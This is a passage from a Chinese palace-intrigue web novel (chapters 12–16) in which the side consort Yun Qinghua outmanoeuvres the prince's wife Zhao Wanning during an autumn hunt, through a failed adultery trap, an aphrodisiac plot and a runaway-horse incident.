取而代之的是后腰传来温热的触感,她落入了一个结实的怀抱。 一股冷木香的气味萦绕在鼻息间。 “王爷……”她睁开双眼,看见裴墨染当即红了脸。 裴墨染心里有些不悦,她为何不叫夫君了? 他将她抱上床榻,戏谑道:“咱们的第一贵女就是这样上蹿下跳的?” 她的表情从惊魂未定转换成冷淡,鼓着嘴,侧过头去。 “别气了,本王都不气了。”他自己恐怕都没意识到,他的底线一降再降。 居然开始哄人了。 “您气什么?”她蹙眉,不解地看他。 裴墨染失语。 那天看到的一切,没有证据,都是捕风捉影。 心里的龌龊自然不能说出来。 裴墨染坐在她身边,伸出手环抱着她,话锋一转,“蛮蛮,日后本王定会好好对你,不再让你委屈。” “王爷对王妃好就够了,王爷根本不愿娶妾身,妾身被您欺负、被王妃冤枉、驳了脸面又有何妨?”她倔强地说着。 裴墨染本想斥责她不识好歹,可感受到手背上滴落的温热液体,他的心头发堵。 他连忙扳正她的身子,给她擦眼泪,正色道:“蛮蛮,你是本王的侧妃,本王不对你好对谁好?之前的事,你忘了吧,本王以后会疼你的。” 云清婳推搡着他的胸口,“又骗人!您又不喜欢妾身,怎会疼人?” 裴墨染几乎就要脱口而出:谁说本王不喜欢你? 可,话到了嘴边还是咽下了。 她很想被他喜欢吗? 可他已经有婉宁了。 云清婳钻进被褥里,留给了他一个后脑勺。 狗男人啊! 枉费她的眼泪了。 她都哭成这样了,他却连假话都舍不得说出来。 可很快,她就会撬开他的嘴! 裴墨染长叹了一声,倘若不是为了政治联姻,云清婳定能嫁得高门,被奉为主母,如今是委屈她了。 裴墨染洗漱后上了榻,将隔在二人之间的枕头给丢到地上。 他都已经这样示好了,她嫁给他,难道就不想要他的宠爱? 她该顺着台阶下来了吧? 可云清婳却可怜兮兮的将身子缩成一小团,生怕被他碰到。 裴墨染觉得自己受到了侮辱,他赌气的强行抱住她。 云清婳身子一僵。 “三日后秋狝,本王带你一同围场去可好?”男人炙热的气息洒落在耳畔,声音低沉而富有磁性。 她扭转过身,双眼晶亮,“当真?” “自然是真的,本王何时骗过你?”他屈指,忍笑刮了下她的鼻尖。 她果然是小孩子心性。 云清婳眼底的光倏地暗淡,“可秋狝只有皇室宗亲或是肱股之臣跟家眷才能去,妾身可以吗?王妃会不会不高兴?” 他暗叹,她实在太懂事,总是在为婉宁考虑。 “无妨,你本就是丞相嫡女,谁敢不服?”他用指尖撩起她额前的碎发,炙热的气息喷洒在她的额上。 她羞涩地垂下清澈的眸,两颊晕上一层薄粉,尽管未施粉黛,可妖颜若玉,让他的心忍不住悸动。 裴墨染连忙捂住她的双眼,努力将理智拉回,他的声音喑哑:“睡吧。” “嗯。”她乖巧地阖上双眼。 没一会儿,她居然在他的怀中睡着了。 裴墨染嗅着她身上散发的淡淡的馨香,内心竟无比的安然恬静。 这是前所未有的。 深夜,云清婳的眼中闪出一丝精光。 赵婉宁,机会给你了,你可千万别让我失望啊。 第12章 捉奸居然捉到了…… 清心阁内,一大清早便传来噼里啪啦的响声。 婢女战战兢兢跪了一地。 满地的碎瓷片,看得人心惊胆战。 赵婉宁双目赤红,指甲狠狠地嵌进了掌心,“王爷怎么可以这样对我?我为他付出了这么多。” 为了吸引裴墨染,她做了那么多原女主的剧情,好几次命悬一线,甚至找人轮了原女主! 可裴墨染怎么能被云清婳这个贱人迷惑? 极大的不安感笼罩着她,她害怕自己的位置,被云清婳替代!自己精心谋划的一切被夺走! 宝音也是一脸痛恨,“王妃,王爷对您的心天地可鉴,他兴许只是为了拉拢云家,才让贱人一同去秋狝。” “这也不行!”赵婉宁的手捏得咔咔作响。 这个贱人胆敢扮猪吃老虎阴她,不能留了! 她眼底闪过阴险,“她跟江培玉可还有来往?” 宝音颔首,她附在赵婉宁耳边道:“奴婢一直派人盯着,他们还没断。” “好!” …… 今年的秋狝在西山下的木兰围场举行。 祭祀完毕,皇上亲自举行了开弓仪式。 皇子席位上,裴墨染、赵婉宁并肩而立。 而云清婳只能站在他们身后,她拘着手,收着下巴,原本光彩照人的人儿,在一片绿荫下黯然失色,低眉顺眼,少了几分精神气儿。 裴云澈远远看着云清婳,眼底压抑着惋惜跟心疼。 皇上训话完毕,皇子跟官员纷纷上马,跟随皇上策马入林狩猎。 而裴云澈纵马,隐隐有朝着云清婳而来的倾向。 云清婳嫌弃不已,匆匆错开视线,“他可千万别来害我。” 飞霜瘪嘴,“看不出,裴云澈还是个痴情种。” “什么痴情种?烂黄瓜罢了。” 好在何心意及时出现,邀请云清婳去打马球,及时打断了裴云澈的意图。 赵婉宁盯着云清婳的方向,眼神阴恻恻的,“云妹妹,我们一起吧。” 何心意的态度无可无不可。 其他皇子妃尽管瞧不上赵婉宁,可为了维持表面的体面,自然不会拒绝。 到了马场,赵婉宁将一根精美的雕花球棍递给云清婳,“云妹妹用这根吧,这是王爷特意找人为我定制的。” 她的语气毫不掩饰炫耀的意味。 其他女眷看穿了她的意图,暗自轻嗤。 云清婳双手接过,“多谢王妃。” 大昭民风开放,京城的官家女子,除了学习规矩、饱读诗书,大多也是会骑马的。 云清婳娴熟地翻身上马,跟国公夫人、皇子妃击打起了马球。 才一炷香的功夫,她就一连进了好几个球,引得四下值守的士兵纷纷侧目,围观的人更是越来越多。 好几个刁钻的球,凭借她精湛的马术,都纵身击中。 “好!”许多官员连连叫好,纷纷鼓掌。 河对面,裴墨染被掌声吸引,眺望着马场。 马背上的云清婳英姿飒爽,他一时竟愣住了。 她香汗淋漓,动作利落,跟他印象中娇气造作或者死板沉闷的大家闺秀完全不同。 赵婉宁看到这一幕,气得差点咬碎银牙。 在云清婳又一次准备俯身挥杆时,忽地,她感到手心一疼。 球棍上的木刺,剌破了她的手心,血珠子汩汩流了出来。 她的嘴角勾起一抹弧度。 赵婉宁终于开始了! 她翻身下马,举手示意换人。 飞霜扶着她回了营帐,她低头在云清婳的掌心轻嗅,“是春药,幸亏这次出行带了解毒丸。” 云清婳的嘴角狡黠地勾起,她写了张字条交给帐外的婢女。 这个婢女正是赵婉宁安插在她身边的眼线。 “快吃吧,若是药性发作就不好了。”飞霜将解毒丸递到她嘴边。 云清婳启唇,只咬了半颗,她玩味道:“我要让赵婉宁眼睁睁看着她把裴墨染送给了我。” “呵,恐怕赵婉宁要气死了吧?”飞霜扑哧笑出了声。 她眸子一斜,“林中的陷阱布置好了?大鱼可抓住了?” “抓住了,没人能发现马脚。”飞霜拍着胸脯,神采飞扬道。 她满意地颔首。 …… 饮马的河边,宝音神秘地将纸条递给了赵婉宁,她大喜:“王妃,您看!这个贱人果真耐不住了,约江培玉在后山营帐见。” “好!快给江培玉送去!”赵婉宁喜不自胜,“我要让王爷亲眼看着贱人私通!” “呵,别说这个骚浪货,到时候整个云家都会蒙羞!”宝音捂着嘴偷笑。 …… 四王府的营帐外传来了马蹄声,裴墨染抱着只杂毛野兔下马。 他大步流星的走进营帐,看到坐在主位的赵婉宁,嘴角的弧度淡去,“婉宁,蛮蛮呢?” 赵婉宁的心刺痛了下。 才短短半个月,裴墨染就亲密到唤贱人的乳名了吗? 她勉强挤出笑,“云妹妹好像去了后山,我们一起去寻她吧。” “好。”裴墨染将野兔放进笼里,若有似无的解释,“这是云二公子让本王带给蛮蛮的。” “我知道。”赵婉宁的语气不甚在意。 裴墨染满意地颔首。 …… 后山角落的绿荫后,有一处不起眼的营帐。 帐外,云清婳跟江培玉相对立,四目相对,眼神似乎别样的温柔缱绻。 二人皆穿着浅紫色的衣袍,远远看去,竟分外登对。 江培玉从怀里掏出一枚荷包,递给了云清婳。 云清婳惊喜地接过,脸上露出一对酒窝,看他的眼神带着几分崇拜。 这一幕,刺痛了裴墨染的双眼。 滔天妒火喷涌,几乎淹没了他的理智。 赵婉宁见他的手背的青筋都鼓了起来,立即火上浇油:“亏王爷一直想着她,可她却与江培玉私相授受,还在营帐前……他们不会是想……” “王爷,依我看,不如将他们绑了浸猪笼!这对狗男女简直是在践踏您的威严!此事若是传去军中,您还如何服众?日后如何带兵打仗?” 江培玉掀开营帐,已经进去,就在云清婳准备入内时,一只铁钳般的大掌死死扼住了她的手腕。 “夫君?!嘶……好疼,夫君,您这是做什么?”云清婳红了眼,委屈地扬脸问。 裴墨染的理智被妒火燃烧殆尽,他低斥:“住口,不许唤本王!你胆敢背着本王私相授受,你心里可还有本王?” 云清婳眸子一震,使劲摇着头,“王爷,有什么话我们回去说吧,算妾身求您!” 她眼中的泪欲滴不滴,再配上这般娇美的容貌,谁看了不会心软。 “……”裴墨染怒火上涌,理智正在来回拉扯。 正所谓迟则生变,若是给了云清婳时间,裴墨染心软了该怎么办? “云清婳!方才我们都看见了,你手上的不就是定情信物?若是我们没来,恐怕你跟贱人已经在里面逍遥快活了吧?如此水性杨花,朝三暮四,亏王爷对你这么好!”赵婉宁伸出手,指甲都快戳进云清婳的眼睛。 云清婳难以置信地瞪圆了眼,她羞愤道:“王妃,同为女子,您知道这样的指责有多严重吗?我云家乃是陛下钦点的清流世家,岂容你污蔑?” “真是不见棺材不掉泪!好,我这就抓了奸夫现形,看你还怎么抵赖!”赵婉宁走上前,就要掀开营帐。 云清婳抓住她的衣袖,眼里急得都快要冒火星子,“不!王妃,不要冲动,妾身求你了!” 赵婉宁心里快笑疯了。 看来这个贱人已经山穷水尽了。 “滚开!”赵婉宁狠狠推开她。 “啊……”云清婳羸弱的身子撞到了柱子上,脊背生疼。 呼啦—— 赵婉宁正义凛然地掀开营帐,故意拔高声音,“王爷,我这就帮您抓住奸夫!真是下作,不要脸的狗贼!” 可看到营帐中的人,她瞳孔地震,全身都被冻住了。 啪—— 一记清脆的耳光,狠狠甩在了赵婉宁的脸上。 “啊……” 她摔倒在地,脸蛋火辣辣的疼,嘴角流下了血。 “贱妇!”威严浑厚的声音从帐中传来,不怒自威,贵气浑然天成。 裴墨染扑通一声跪下了,“参见父皇!” 第13章 药,发作了 云清婳也跟着跪下。 江培玉扶着皇上走了出来,皇上的脚踝裹着纱布,布上还沾染了血渍。 他恨铁不成钢地瞪着裴墨染。 云清婳哭得一抽一抽的,她委屈道:“王爷,您糊涂啊!皇上不慎踩到捕兽夹,妾身跟表哥医治罢了,哪有龌龊?” “贱妇!捉奸捉到朕面前来了!”皇上眯着眼,眼眸如鹰隼般狠厉,“混账东西!连女人都管不住,朕要你有何用?” 裴墨染身子一颤,“父皇,儿臣……” 裴云澈跟一众皇子早就闻风赶来。 “父皇,四弟定是受了贱妇的蒙蔽!都是贱妇善妒,污蔑设计云侧妃,四弟是被蛊惑的!”裴云澈跪下求情。 其他皇子也装模作样地跪下求情,“求父皇宽恕四皇兄/四皇弟。” 反正裴墨染在父皇心中已经被抹黑,他们踩一脚只会显得落井下石,何不装一下兄友弟恭? 皇上看着裴云澈,眼中翻涌的波澜渐渐平息,他下了最后通牒,“此贱妇,心肠歹毒,定不能轻饶了。” 语毕,他瞥向赶来的教习嬷嬷。 嬷嬷会意,她进去就拎起赵婉宁的衣领,扬起手狠狠甩巴掌。 啪啪啪—— 很快账内就传来赵婉宁的痛叫:“啊、啊、好疼……” “王爷,救我……” 裴墨染心中羞愤交加,当下只觉得……无比丢人! 为何赵婉宁这么冲动! 太监很快就将轿撵抬来。 皇上坐上龙撵,赏赐了云清婳、江培玉便走了。 裴墨染的视线落在云清婳的身上,愧疚的眼神中掺杂着最后一丝怀疑。 尽管没有说话,可他的眼神还是忍不住落在她手中的荷包上。 云清婳不傻,瞬间明白了他的意思。 “王爷想看就看个够吧!”她的脸上都是泪,眼神破碎。 她将荷包砸在他的俊脸上,转身哭着跑走了。 当众不给裴墨染面子的行径,让他顿时火了。 他恼火的打开荷包,只见里面躺着一张纸。 上面的并不是缠绵情话。 “这是药方!表妹求我请神医给诸葛军师写药方,诸葛军师不是有湿症吗?上次的荷包里装了诊金!”江培玉抱臂讽刺。 裴墨染的瞳孔骤然一缩,他像是结结实实挨了一巴掌,脑袋昏昏沉沉。 他显然想起了半个月前的事,蛮蛮的确答应会给诸葛先生求药。 “墨染,你糊涂啊!你怎可如此对待蛮……云侧妃?”裴云澈忍不住为云清婳说话。 裴墨染的心如烈火焚烧,他快步朝着云清婳的方向追去。 适时,赵婉宁挨完了巴掌。 她无助脆弱地朝着裴墨染伸手,她哭喊道:“王爷……” 裴云澈走到她的面前,双手背后,温润的脸庞在这一刻结了冰,“贱妇,再敢造次,本王不会饶了你。” 赵婉宁背脊一寒,像是有风灌进来,她打了个寒颤,怯懦地低下了头。 裴云澈自然是恼火的,把裴墨染从边关捞回来,本是让他帮自己争权夺位的。 可这个莽夫,苛待蛮蛮不说,还让他帮忙擦屁股! …… 云清婳跑进了营帐,她坐在榻上,抱膝抽噎着。 尽管是在哭,她都不敢发出声音,两行清泪不停地流,眼圈泛红,苍白的脸色映出她的羸弱,单薄的肩膀轻颤,像是被风霜蹂躏的百合花。 裴墨染掀开营帐,看到她咬唇抽泣,独自神伤,心脏像被针扎了一下。 他心含疚意,大步走到她身边抱住她,“蛮蛮,都是本王不好,本王误会你了。” “既然不信我,您还来做什么?您走!别碰我、别碰我!”云清婳声不成调,用尽力气推搡着他的胸口。 她像一头伤害的幼兽,挣扎着想要脱困。 裴墨染将她抱得更紧,“蛮蛮,这是最后一次,以后本王不会再冤枉你!” “您前几日也是这么说的!”她的声音猛然拔高,眼泪大颗大颗砸下。 似乎是要把这段日子的憋屈全部发泄出来。 裴墨染像是被打了一记闷棍,他的确才说过。 言而无信被戳穿,他有些心虚甚至有些恼。 可云清婳是必须要安抚下来的,否则会有更多人看他的笑话。 “蛮蛮,本王那日看见你送荷包给江培玉,你亦收了他的胭脂。”他羞愧地道出心中的腌臜。 “表哥天赋异禀,书读得好,做生意亦然。他上次去西域游商,那盒胭脂是西域特供,我特意托他买的。”她哽咽着说。 裴墨染这才发现自己错得离谱,艰涩开口:“蛮蛮,你受苦了。” 云清婳对这个回答并不满意。 看来火烧得不够旺,她得再逼一逼裴墨染。 只有让他承认并接受自己变心了,打破仁义道德的枷锁,她才能更好地攻心。 “求您不要再给妾身希望了,妾身不想再难过了!您怎会在意妾身呢?”云清婳的声音破碎。 她颤抖地拿出刚拟好的休书。 “王爷,您休了妾身吧!休了妾身就可以保全王妃的名声,妾身会安抚云家,云家定不会与您生了嫌隙。” 裴墨染脑中空白了一瞬,恼火地抢过休书撕了个粉碎。 她究竟是有多傻? 居然写休书,休自己! 世人会如何看她? 云家女眷的清誉怎么办? 就为了跟他赌气?保全婉宁?值得吗? “云清婳,谁说本王不在意你?你写休书想离开本王,你怎么敢的?”他不假思索,几乎是冲她吼出来的。 裴墨染尽管不想承认自己的游移,不想接受他违背了跟赵婉宁的海誓山盟。 可,事实就是如此! “您、您……在意妾身?”云清婳的眼瞳倒映出迷茫,脸上的悲痛被惊讶取代。 裴墨染亦是惊讶自己方才的话,虽然后悔,但那或许真是他的心声。 他柔声道:“蛮蛮,本王心里有你,你莫要再说离开本王的话了。” 云清婳垂下眼,似是在纠结,忽地她身躯一软,倒在榻上,浑身肌肤渐渐变得粉嫩。 她的眼底闪过暗色。 春药终于发作了。 她服用的解毒丸剂量不够,所以延迟了许久。 “蛮蛮,你怎么了?”裴墨染伸手抚上她的额头,手心竟被烫了一下。 “好热……”云清婳含糊的呻吟,眼神迷离。 裴墨染的手凉冰冰的,让她好舒服。 第14章 好热,献上香吻 营帐外,宝音扶着脸被扇肿的赵婉宁来了。 “王爷,我要见王爷……”赵婉宁正是最脆弱的时候,她想得到丈夫的安慰。 飞霜张开双臂,拦住她们的去路,“王妃,还请您稍等片刻。” 赵婉宁的嘴角都被扇烂了,现在还在流血,她不便说话。 宝音怒道:“放肆!一个妾室的贱婢,还敢阻拦正妃?” “王爷跟主子有要紧事在做,王妃不要逼奴婢啊……”飞霜言辞暧昧。 赵婉宁双眼冒火。 营帐内,裴墨染一心扑在云清婳的身上,他担心地将人扶起来,“蛮蛮,本王这就传太医……” “唔……好热……”云清婳浑身燥热,双眼蒙着雾气。 裴墨染瞬间明白了什么。 猝不及防,云清婳勾住他的脖子,一反常态地献上香吻。 他正是血气方刚的年纪,身体里的火也被点燃。 他俯身将她压倒。 呼啦—— 营帐被掀开。 赵婉宁看到榻上的一幕,她的心脏骤然一缩。 她深爱的夫君,居然跟她讨厌的贱人滚在了一起! 一时之间,她僵在了原地,心如火烧,可浑身的血液好似凝固了,冷得牙齿都在打颤。 云清婳瞥过眼,挑衅地睨着崩溃的赵婉宁,红唇掀起。 心痛吗? 还有更痛的呢。 裴墨染对这些浑然不知,他拥吻身下的人儿。 赵婉宁想要打她、骂她,冲上前分开他们,可飞霜立即带人将她拽走了。 就在身上的男人忘情时,云清婳从发间抽出发簪,她抵在脖颈上,“不要!妾身不是随便的女子,只有相爱的人才可以这样……” 裴墨染的理智从欲望中抽回,他扼住她的手,咬牙切齿道:“本王是你的夫君……” 她倔强地跟他对视,大有贞洁烈女,以死相逼的架势。 他只好败下阵来,看来她还是不相信他的话。 裴墨染穿好衣物,召来了太医。 太医给云清婳把了脉后,很快就拿来了解毒药,让她兑水服下。 “云侧妃这是中了……中了……”太医支支吾吾,“春药。” 裴墨染的眉心深锁,拧成了一个川字,“可云侧妃怎会中如此下作的药?” “云侧妃方才吃了何物?”太医捋着胡子问。 云清婳摇摇头,虚弱道:“今日来围场,我连一口水都不曾喝过。” 太医沉默片刻,忽然福至心灵:“云侧妃可受过伤?药物也是能从伤口融入血液的。” 裴墨染明显能感受到怀中的人儿身子僵硬了。 她垂下头,闷闷地摇头。 “侧妃!您为何不说呢?”飞霜急得跺脚。 “住口!”云清婳哽咽着,眼泪又落了下来。 裴墨染似乎明白了什么,他递给太医一个眼神,太医便退下了。 他操着关怀的口吻道:“说!本王是你的丈夫,有什么是不能说的?” 云清婳哭得一抽一抽的。 飞霜忍不住道:“王爷,方才侧妃打马球,手心被球棍上的倒刺剌破了,流了好些血。那球棍是王妃借给侧妃的,还说是王爷特意给王妃定制的……” “飞霜!”云清婳哭着呵斥。 裴墨染腾地升起怒火。 原本他以为赵婉宁只是蠢,才不小心给他添乱。 他尽管生气,但从不怪罪赵婉宁,因为赵婉宁救过他的命。 可现在,他看清了,赵婉宁心里只有自己! 倘若赵婉宁的计谋成功,蛮蛮跟江培玉苟且,他的颜面该往哪摆?他又怎么借力云家? 他从来不是好人,赵婉宁明明知道他的野心,却屡次添乱,甚至还惹得父皇震怒! 他不仅心寒,也对她失望了。 原本的愧疚,荡然无存。 “蛮蛮放心,这是王妃的错,本王不会饶了她。”裴墨染一顿,“本王会罚她半年月俸,禁足一个月!” 云清婳在心里冷笑,她差点被送上别的男人的床了,可裴墨染居然只给赵婉宁这么点惩罚。 倘若是她这样算计了赵婉宁,恐怕裴墨染的巴掌早就上来了。 不过不急,肯惩罚赵婉宁,这就说明量变引起了质变,二人的感情已经变质了。 “……”她侧过脸,自嘲般冷笑了声。 裴墨染明白她对他的惩罚不满。 可他实在不忍心对婉宁下重手责罚,她向来懂事,应该会理解的。 就在这时,皇后身边的白嬷嬷来了。 她福身,慈祥的脸上透着强硬,“王爷,皇后娘娘听闻了今日的事,已经将王妃带进宫了。皇后娘娘准备亲自教王妃。” 裴墨染攥紧了腿上的布料,沉声道:“母后把婉宁关进禁闭室了?” 白嬷嬷缓缓颔首,“皇后娘娘让老奴特意交代,王爷不必担心,能得皇后亲自教养也是福气。皇后娘娘盼着您跟侧妃早日绵延子嗣呢。” “……”云清婳害羞地垂首。 白嬷嬷走后,裴墨染有些心不在焉。 “王爷是想去看王妃吗?”云清婳躺在软枕上,憔悴地问。 他给她掖了掖被角,义正言辞道:“此事是她做错了,是她罪有应得,本王怎会怜惜她?” 她不语,阖上双眼假寐。 半晌,裴墨染以为她睡熟了,匆匆离开。 随着脚步声渐远,云清婳上翘的双眼悄然睁开。 狗男人!去吧! 去热脸贴冷屁股吧! 只是,赵婉宁可不会感恩戴德你。 正想着,飞霜捏着张字条进帐,“裴云澈想见您。” 云清婳清丽的脸上写满了厌恶。 裴墨染只是狗,但裴云澈让她恶心。 若不是他为了霸占功劳,杀了姐姐的心上人,姐姐也不会失去最后一线的求生意志。 …… 翊坤宫。 此次秋狝,皇后的偏头疼犯了,并没有随行。 裴墨染疾步走进寝宫,向皇后问安。 皇后坐在上首,纤细的手腕正撑着脑袋,双眼微阖,“墨染,你来了……” “母后,这次的确是婉宁不对!可把她关进禁闭室未免也太过了。”裴墨染的双臂都在颤抖。 小时候,只要他们未在父皇面前拔得头筹,母后便会把他们关进漆黑阴冷的禁闭室。 皇后的眼皮一掀,眼底尽是失望,“本宫又未曾打骂她,你居然来兴师问罪?墨染,你知不知道,今日云澈为你求情,会让皇上对他不满的。” “虞贵妃母子如今虎视眈眈,就因为一个蠢妇,拉低了你父皇对云澈的印象,孰轻孰重你分得清吗?若是云澈失势,你以为你能独善其身?”她一掌重重拍在茶几上。 他的心狠狠揪疼了下,他今日被卷入了漩涡,可母后对他却没有一丝关怀,担心的反而是父皇宠爱的裴云澈。 “母后莫气,都是儿臣不孝,让您担心了。”他低眉顺眼,俨然一副孝顺、愧疚的模样。 皇后见他被拿捏,严厉的态度稍稍和缓,她柔声道:“你若真有心,就跟清婳早日绵延子嗣。至于赵婉宁,墨染,你信不信,就算你去看她,她也不会领情。” “因为她觉得你为她付出是应该的,她想骑在你头上!这样自私的女人,心中只有自己,根本没你!” 裴墨染的心像是被匕首刺中。 婉宁心中没他,怎会? “儿臣不信!” “好!那你看吧!”皇后冷笑了一声。 第15章 云清婳调戏纯情少男 裴墨染快步朝着禁闭室走去。 心里暗想,婉宁,你不要让本王失望啊。 宫人下了钥,打开了铁门。 昏暗简陋的屋中,被光线争先恐后地填满。 “婉宁,你没事吧?”裴墨染担心地问。 漆黑的禁闭室内,仅有一张床。 赵婉宁的脸肿了一圈,快要辨认不出。 她坐在床榻上,烂掉的嘴角扯出一抹嘲讽的弧度,“王爷终于想起我了?方才跟云清婳敦伦快活吗?” 裴墨染一愣,他没想到赵婉宁不仅不知错,还质问起他来了。 她当真不领情! 说不定还在心里怪他,为何不把她救走。 他恼羞成怒道:“这不都是拜你所赐?你为何要给蛮蛮下药?你怎么变成这样了?” “呵……”赵婉宁被气笑了,眼泪大颗大颗流下,“我给她下药了,我给你下药了吗?你为何不能把持住?” 不可理喻! 裴墨染几乎要咆哮出声,可看见她的眼泪,还是心软了。 他耐着性子道:“你冒犯了父皇,你知道惹出多大的祸吗?婉宁,你懂事些,本王未跟蛮蛮圆房。” 听到最后一句,赵婉宁心中的郁气瞬间消散,她自知理亏,服软道:“王爷,我知道错了。可你别忘当初是谁为你挡箭,是谁为你献计献策的。” 可她却没注意,裴墨染早就黑了脸。 他输了! 跟皇后的赌局,他输得彻底! 他可以感激她,但夫为妻纲,她哪有资格挟恩图报? “你日后跟蛮蛮好好相处,莫要再胡闹了。”说完,他转身离开。 他在心里暗骂自己犯贱,为何要来看她? 黑暗中,赵婉宁狠狠磨着后槽牙。 跟贱人好好相处? 做梦! …… 夜幕降临时,云清婳避人耳目去了河边。 气场高大的背影,驻足在河岸,男子气质矜贵,一身皓白,月白撒在身上,宛若谪仙。 裴云澈转过身,看到云清婳,心疼的呢喃:“蛮蛮……” 云清婳的眼泪坠落下来,仿佛滴滴撒在人的心尖上,“殿下……” 他想过克制,甚至想过跟云清婳断了。 儿女私情,是上位者的大忌,他不想陷进去。 可一看到她受委屈,一听到裴墨染进了她的院子,他就气得快要疯掉! 他握住她的手,怒意腾升,“蛮蛮,你受苦了!裴墨染这个粗鄙的武夫,根本配不上你!” “可是又有什么办法呢?我已然嫁给他,我这一生都已经毁了!”她抽回手,“妾身惟愿君安好,万事胜意。” 裴云澈扶着她的肩,望着她的双眼,郑重的说:“蛮蛮,相信本王,待本王谋得大权,定封你为妃!” 云清婳靠在他的怀中,趁机翻了个白眼。 呵呵,嘴上说着爱她,却只封她为妃? 连贵妃之位都舍不得给? “可是,裴墨染怎么办?”她担忧的问。 裴云澈冷嘁,眼神倏地冰冷,“无脑莽夫一个,倘若识相,本王自会念及手足之情,留在身边辅弼。倘若敢反抗,就发配去西北镇守一辈子。” 她挑眉,脸色晦暗不明。 二人的手足之情可真是深啊。 还没激起杀意? 这可不行! …… 裴墨染在亥时才回到围场。 不知为何,他竟有点心虚,害怕被云清婳发现。 他掀开营帐,竟发现里面没人。 正想询问婢女时,飞霜扶着云清婳回来了。 云清婳淡然地看着他,不咸不淡道:“王爷回来了。” “蛮蛮,夜里风大,你身子尚未恢复,怎可乱走?”他殷勤地将她抱上床榻。 “王爷恕罪,妾身将兔子放生了。”她道。 裴墨染蹙眉,“不喜欢?这是云二公子跟本王一同捉的。” 她苦笑,“人已然在笼中,怎忍心看兔子被困?” 他不喜欢她这样阴阳怪气,他捧着她的脸,逼她看他,“蛮蛮,本王心里有你,你怎会被困在笼中?方才母后还催我们绵延子嗣呢。” 语毕,他就后悔了。 说漏嘴了。 果然,云清婳的脸一沉,盖上被褥就留了个后脑勺给他。 “王爷安置吧。”她例行公事一般说道。 “为何不唤夫君了?”他小心翼翼地问。 云清婳一字一顿,“王爷忘了吗?您不准妾身这样唤您。” 他猛然想起,白天他“捉奸”时,一气之下的确说过。 白天的话,如同回旋镖,此时正中他的眉心。 他尴尬不已,忙搂住她,“蛮蛮,那时本王疯了,昏了头,疯话怎可作数?” 云清婳扑哧笑出声。 可真够不要脸的。 “你不气了对不对?”他也跟着笑,稚气的晃着她的胳膊。 她不给任何回应。 调教男人,就该打一巴掌,给颗甜枣。 如此周而复始,才能把他训成狗。 没得到回应,裴墨染也不恼。 他不甘心的躺下,闻着她颈间的馨香,不由得想起晌午时二人缠绵的画面,他当即气血逆流,浑身燥热难耐。 云清婳感觉到身后不对,扭了下腰,她单纯的问:“您怕冷吗?这么早就揣着汤婆子?” 少顷,裴墨染反应过来她的意思,脸涨的通红,“嗯、嗯……” 他起身下榻,命人准备凉水。 云清婳差点笑出声。 没想到,他还挺纯情。 …… 翌日。 裴墨染眼下挂着青黑,明显没睡好,就连打猎时都心不在焉。 而云清婳却养足了精气神,在马球场上,连连击球,获得一片欢呼声、掌声。 赵婉宁的事早就传开了。 王妃、皇子妃都在窃窃私语,暗暗幸灾乐祸。 她们早就看不惯赵婉宁一副世人皆醉她独醒的模样了。 明明只是小小县令之女,却总是趾高气扬的,整天看不起这个,瞧不上那个。 裴墨染望着云清婳的身影,眼底尽是欣赏,微微出神。 “墨染,昨日的事没完,你得快想办法重获父皇的赏识。”裴云澈轻拍他的肩膀,故意转移他的视线。 “皇兄放心,秋狝结束,本王会自请去西南剿匪。”裴墨染的眼底都是疲惫。 没办法,只有卖命这一条路,才会让父皇高看他一眼。 裴云澈对他的安排很满意。 他调裴墨染回来,是给自己助力的,可不是让裴墨染享清福的。 “对了,皇兄,姑娘家喜欢什么?”裴墨染温吞地问。 他想跟云清婳缓和关系。 毕竟是他理亏。 裴云澈的脸上闪过嫉恨,可还来不及捕捉就消失不见,“呵,送只小狗吧,姑娘家就喜欢这些。” “甚好。”裴墨染有种醍醐灌顶之感。 忽地,河对面传来一声尖细的惊呼。 啊—— 马背上的云清婳无论怎么用马鞭抽马背,都无法控制住马。 马跟疯了似的,冲出了马场。 “蛮蛮!”裴墨染翻身上马,直接趟过河,朝她奔去。 裴云澈如是奔去。 第16章 蛮蛮,有你真好 马儿朝着营帐的方向冲了过去。 正巧,德妃正挺着身孕前来观看马球。 两方正巧撞上。 马儿发出嘶鸣,马蹄高高扬起,就要朝着德妃落下。 “啊……”德妃脸色惨白,一屁股摔倒在地。 婢女惊呼:“德妃娘娘……快传太医啊……” “传太医……” 云清婳屏息凝神,努力保持镇定,她从发间拔出簪子狠狠刺入马背上的一个穴位。 马轰然倒地,云清婳也从马背上震了下来。 她就要落地时,一个结实有力的臂膀,托住了她的腰,顺势将她带进怀里。 “蛮蛮!”裴墨染的心剧烈地颤动。 云清婳身子一抖,双臂紧紧缠着他的脖颈,像是孤舟找到了依托,她将脸埋进他的胸口,“夫君……” “没事了,没事了……”他柔声安抚,轻拍她的背脊。 后面的裴云澈,眼神暗淡下来。 …… 德妃的营帐中。 婢女端着水盆进进出出。 太医在外面跪了一地。 好在只是动了胎气,好生调理即可。 营帐内,皇上的脸色阴沉,透着山雨欲来风满楼的诡谲。 众皇子、皇妃连喘气都不敢。 云清婳跪在正中心,脊背挺得笔直,修长的颈子弓着,仪态端庄,挑不出一丝错。 “皇上,云侧妃想要害臣妾,想要害臣妾肚中的皇儿啊!”屏风后,传来德妃嘶哑破碎的哭喊。 德妃年逾四十,终于得子。 所以这一胎,她比任何人都要看重! 云清婳捏着帕子,抽抽噎噎地哭,“德妃娘娘跟妾身无冤无仇,妾身即使再愚钝,也不敢光明正大的谋害娘娘啊。方才妾身突然就控制不住马了,马好像疯了。” “皇上,您听听,多可笑的借口啊。”德妃咬牙切齿,像是恨不得将云清婳给咬碎吃了。 睿王妃夏子萱叹了口气,“且容臣媳说一句,正所谓人有失手马有失蹄,云侧妃虽然马球打得极好,可马毕竟是牲畜,野性难驯。云侧妃不如给德妃娘娘赔礼道歉,就当抚慰心灵了?” “早就听闻云清婳马球打得好,还敢说不是故意的。”德妃轻嗤。 皇上的眼神如同淬了冰,狠瞪着云清婳。 云清婳的眼中闪过精光。 原本的剧情,应该是姐姐被五皇子也就是睿王夫妇陷害,从此跟德妃结了梁子。 既然事先知道了剧情,所以她当然早有准备。 “皇上,妾身就算是死也要死个明白!求皇上给臣妾一个机会辩驳。”云清婳叩首。 其他皇子妃纷纷劝道:“云侧妃,事到如今,就不要闹了。这是天灾人祸,我们知道你也不愿的。” “云侧妃,毕竟是你惊吓了德妃娘娘,你这样推脱,未免也太让德妃娘娘心寒了。”睿王裴宴庭义正言辞道。 